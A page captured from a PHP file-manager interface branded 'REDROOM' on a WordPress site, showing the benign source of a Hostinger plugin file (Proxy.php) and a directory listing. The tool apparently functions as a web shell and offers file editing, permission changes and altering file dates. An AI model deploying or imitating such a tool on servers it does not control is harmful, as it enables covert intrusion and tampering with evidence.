REDROOM
PHP 8.0.30
Path:
Logout
Edit File
Size: 1.63 KB
Close
/home/certprox/template.certproxywizard.com/wp-content/plugins/hostinger/includes/Admin/Proxy.php
Text
Base64
<?php namespace Hostinger\Admin; use Hostinger\Mcp\EventHandlerFactory; use Hostinger\WpHelper\Requests\Client; use Hostinger\WpHelper\Utils; use WP_Error; defined( 'ABSPATH' ) || exit; class Proxy { public const HOSTINGER_FREE_SUBDOMAIN_URL = 'hostingersite.com'; public const HOSTINGER_DEV_FREE_SUBDOMAIN_URL = 'hostingersite.dev'; private Client $client; private Utils $utils; private string $rest_base; public function __construct( Client $client, Utils $utils ) { $this->client = $client; $this->utils = $utils; $this->rest_base = '/api/v1/events/trigger'; } public function trigger_event( string $event, array $params = array() ): array|WP_Error { if ( $this->is_free_subdomain() || ! $_SERVER['H_PLATFORM'] ) { return new WP_Error( 'domain-not_allowed', 'This domain is not eligible for triggering Hostinger events' ); } $args = array( 'domain' => $this->remove_www( $this->utils->getHostInfo() ), 'event' => array( 'name' => $event, 'params' => $params, ), ); return $this->client->post( $this->rest_base, $args ); } private function is_free_subdomain(): bool { return str_contains( $this->utils->getHostInfo(), self::HOSTINGER_FREE_SUBDOMAIN_URL ) || str_contains( $this->utils->getHostInfo(), self::HOSTINGER_DEV_FREE_SUBDOMAIN_URL ); } private function remove_www( string $url ): string { if ( str_starts_with( $url, 'www.' ) ) { return substr( $url, 4 ); } return $url; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 3 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Jobs
DIR
-
drwxr-xr-x
2026-06-14 00:11:49
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Options
DIR
-
drwxr-xr-x
2026-06-14 00:11:50
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Views
DIR
-
drwxr-xr-x
2026-06-14 00:11:49
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Assets.php
12.32 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Hooks.php
1.35 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Menu.php
1.40 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
PluginSettings.php
1.50 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Proxy.php
1.63 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Redirects.php
1.04 KB
lrw-r--r--
2026-06-10 16:30:25
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).